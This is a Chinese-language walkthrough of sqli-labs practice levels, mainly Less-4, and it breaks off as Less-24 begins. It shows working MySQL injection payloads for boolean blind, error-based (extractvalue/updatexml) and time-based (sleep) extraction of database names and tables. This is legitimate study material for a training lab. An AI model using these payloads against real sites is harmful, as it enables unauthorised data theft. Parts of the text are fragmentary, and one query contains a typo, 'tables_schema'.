从报错信息显示,我们的id—value写在SQL语句的括号中,换言之就是,这条SQL语句缺少一个右括号~
确定注入点和方法策略后按照Less1/2的方法UNION/报错注入方法
Less-4判断注入点
?id=1 ?id=1\' ?id=1\') ?id=1" # 报错…… ^我们的ID值会放在SQL语句中,且被("$id")包围
?id=1") --+ 手工盲注按照这回显,可以认为这是一处盲注……
SQL盲注点 ~~ UNION联合(回显)查询的方法就不可以了……
基于布尔的盲注 ?id=1\' and left(version(),1)=\'5\' --+left():从左截取a结果的1个长度的字符
只有当and后面的sql语句为True才不会报错~……
通过猜解的方式,利用left的方法猜解数据库的版本信息第一个字符(环境是Mysql 5.1,所以版本信息第一个字符是‘5’)由此推演,我们可以利用布尔的判断特性来猜解数据库名……
如上~ 如果我们不断的对目标进行猜解,就可以得到数据库名的第一个字符,以此类推第二个字符……第N个字符;数据库名的长度也可以通过length(database())>=*进行猜解
牢记布尔盲注的特点:只有当and后面的sql语句为True才不会报错;报错就表示and后的sql语句不成立……开动脑筋就可以创造奇迹
ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 # ascii(substr((select database()),1,1))=98substr(a,b,c) 将a结果从b开始截取c长度字符,ascii()将字符转为ascii值
基于报错的盲注XPath报错注入:
?id=1\' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+ ?id=1\' and updatexml(1,concat(0x7e,(select database()),0x7e),0x7e) --+ 基于时间的盲注主要思路就是利用时间延迟来判断布尔条件是否达成,本质上是利用时间延迟来进行布尔和报错盲注的判断依据条件;用于没有任何回显信息的时候使用~
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句, 条件为假,
?id=1\' and if(ascii(substr(database(),1,1))=96,1,sleep(10)) --+ascii()负责猜解;if()负责判断,若是猜解成立则返回1,若是猜解不成立延迟10秒
从报错结果中,看出注释符应该被禁了……而且从报错结果认定布尔和报错注入是不可举的!!!
于者乎……时间盲注是最优选择~~~
当然了……还有在这里说一说文件的导入于导出的方法:
Less-24 二次排序*- 借鉴sqli-labs-24
分析环境文件:
login.php:查询数据库用户存在和验证登录